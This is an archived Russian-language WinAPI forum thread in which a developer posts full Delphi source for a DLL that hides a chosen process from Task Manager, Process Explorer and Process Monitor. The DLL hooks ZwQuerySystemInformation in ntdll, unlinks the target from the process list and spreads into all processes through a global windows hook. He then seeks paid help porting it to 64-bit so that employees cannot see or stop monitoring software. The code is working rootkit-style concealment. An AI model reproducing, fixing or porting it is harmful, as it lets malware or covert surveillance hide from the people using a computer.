Форум: "WinAPI";
Текущий архив: 2013.03.22;
Скачать: [xml.tar.bz2];
Внизперехват native api в 64bit Windows... Найти похожие ветки
← →
istok20 © (2009-06-24 00:48) [0]есть у меня такая либа, которая скрывает любой процесс из диспетчера задач и других программ. проблема в том, что она не работает в 64битных виндах. вопрос - как ее подружить с 64битными ОС Windows?
library prtct;
uses
Windows,
NativeAPI,
ThreadStopper;
type
OldCode = packed record
One: dword;
two: word;
end;
far_jmp = packed record
PuhsOp: byte;
PushArg: pointer;
RetOp: byte;
end;
var
Hook: HHOOK;
JmpZwq: far_jmp;
OldZwq: OldCode;
PtrZwq: pointer;
FIsTM: Boolean;
Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Written: dword;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@OldZwq, SizeOf(OldCode), Written);
Result := ZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
@JmpZwq, SizeOf(far_jmp), Written);
end;
Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
ASystemInformation: Pointer;
ASystemInformationLength: dword;
AReturnLength: PCardinal): NTStatus; stdcall;
var
Info, Prev: PSYSTEM_PROCESSES;
begin
Result := TrueZwQuerySystemInformation(ASystemInformationClass,
ASystemInformation,
ASystemInformationLength,
AReturnLength);
if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
(Result = STATUS_SUCCESS) then
begin
Prev := ASystemInformation;
Info := ASystemInformation;
while Info^.NextEntryDelta <> 0 do
begin
Info := Pointer(dword(Info) + Info^.NextEntryDelta);
if (lstrcmpiw(Info^.ProcessName.Buffer, "myprogram.exe") = 0) then
begin
if Info^.NextEntryDelta = 0 then
Prev^.NextEntryDelta := 0
else
Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
end
else
Prev := Info;
end;
end;
end;
function IsTM: Boolean;
var
WndFound: Boolean;
rslt: boolean;
function AnalyzeWnd(CurHandle: THandle; CurrentProcessId: LParam): Boolean; stdcall;
var
WndProcId: Cardinal;
Buffer : array[0..255] of Char;
begin
Result := True;
GetWindowThreadProcessId(CurHandle, WndProcId);
if LParam(WndProcId) = CurrentProcessId then
begin
FillChar(Buffer, 256, 0);
GetClassName(CurHandle, @Buffer[0], 255);
if (Buffer = "#32770") or (Buffer = "PROCEXPL") or (Buffer = "PROCMON_WINDOW_CLASS") then
begin
WndFound := True;
//ïðåêðàùàåì Enum
Result := False;
end;
end;
end;
begin
WndFound := False;
rslt := EnumWindows(@AnalyzeWnd, GetCurrentProcessId);
Result := not rslt;
end;
type
TWriteProcessMemory = function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; StdCall;
procedure WriteProcessMemory2(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
nSize: DWORD; var lpNumberOfBytesWritten: DWORD);
var
LibHandle : THandle;
RunWriteProcessMemory: TWriteProcessMemory;
begin
// Attempt to load the DLL
LibHandle := LoadLibrary("KERNEL32.DLL");
try
// If the load failed, LibHandle will be zero.
// If this occurs, raise an exception.
if LibHandle = 0 then Exit;
// raise EDLLLoadError.Create("Unable to Load DLL");
// If the code makes it here, the DLL loaded successfully; now obtain
// the link to the DLL"s exported function so that it can be called.
@RunWriteProcessMemory := GetProcAddress(LibHandle, "WriteProcessMemory");
// If the function is imported successfully, then set
// lblDate.Caption to reflect the returned date from
// the function. Otherwise, show the return raise an exception.
if not (@RunWriteProcessMemory = nil) then
RunWriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
// else
// RaiseLastWin32Error;
finally
FreeLibrary(LibHandle); // Unload the DLL.
end;
end;
Procedure SetHook();
var
Bytes: dword;
begin
PtrZwq := GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");
ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
JmpZwq.PuhsOp := $68;
JmpZwq.PushArg := @NewZwQuerySystemInformation;
JmpZwq.RetOp := $C3;
WriteProcessMemory2(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;
Procedure Unhook();
var
Bytes: dword;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;
function MessageProc(code : integer; wParam : longint; lParam : longint) : longint; stdcall; export;
begin
Result := CallNextHookEx(0, Code, wParam, lparam);
end;
procedure DLLEntryPoint(dwReason: DWord);
begin
if not FIsTM then Exit;
case dwReason of
DLL_PROCESS_ATTACH: begin
//SetGlobalHook();
StopThreads;
SetHook();
RunThreads;
end;
DLL_PROCESS_DETACH: begin
StopThreads;
Unhook();
RunThreads;
end;
end;
end;
procedure GlobalHook; export;
begin
Hook:=SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
end;
procedure GlobalUnhook;export;
begin
UnhookWindowsHookEx(Hook);
end;
exports
GlobalHook, GlobalUnhook;
begin
FIsTM := IsTM;
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
← →
brother © (2009-06-24 05:40) [1]переписать под x64?
← →
Игорь © (2009-06-24 09:24) [2]Копай сюда
http://msdn.microsoft.com/en-us/library/aa384249(VS.85).aspx
← →
istok20 © (2009-06-24 12:57) [3]
> переписать под x64?
это только из-под VisualStudio или и в delphi как-то реально под 64бита скомпилить?
← →
brother © (2009-06-24 14:17) [4]> под 64бита скомпилить?
я говорил о переписать)
← →
DVM © (2009-06-24 19:45) [5]
> и в delphi как-то реально под 64бита скомпилить?
FreePascal может
← →
istok20 © (2009-11-30 18:29) [6]угу, перевели в FreePascal, компилит (в lazarus), грузит, но там очевидно надо править start\stop threads и writetoprocessmemory под 64бита,
буду рад если кто-то отклинется пофиксить (или переписать в любой другой среде) код за оплату.
можете писать сюда - alex_for_chat@mail.ru - вышлю тестовый проект.
спасибо
← →
Игорь Шевченко © (2009-11-30 19:45) [7]
> есть у меня такая либа, которая скрывает любой процесс из
> диспетчера задач
Тайное всегда становится явным. Найдут и больно надерут ремнем.
← →
istok20 © (2009-11-30 20:17) [8]
> Игорь Шевченко © (30.11.09 19:45) [7]
это реквест клиента, чьи сотрудники работают на компьютерах, являющихся собственностью компании. более того, сотрудники об этих процессах знают. так что ничего криминального)
← →
Anatoly Podgoretsky © (2009-12-01 08:55) [9]> istok20 (30.11.2009 20:17:08) [8]
Административны задачи наиболее эффективно решаются административными методами.
← →
istok20 © (2009-12-01 13:01) [10]
> Anatoly Podgoretsky © (01.12.09 08:55) [9]
> > istok20 (30.11.2009 20:17:08) [8]
>
> Административны задачи наиболее эффективно решаются административными
> методами.
они их решают и административно тоже, но очень хотят чтобы сотрудник не имел возможности "мухлевать" и отключать процессы приложения..
я понимаю, что здесь есть доля паранойи, но моё дело сделать и продать то, на что есть спрос, а не переубеждать клиента)
вобщем, если у кого есть идеи как это сделать, пишите на alex_for_chat@mail.ru, договоримся.
спасибо.
Страницы: 1 вся ветка
Форум: "WinAPI";
Текущий архив: 2013.03.22;
Скачать: [xml.tar.bz2];
Память: 0.49 MB
Время: 0.066 c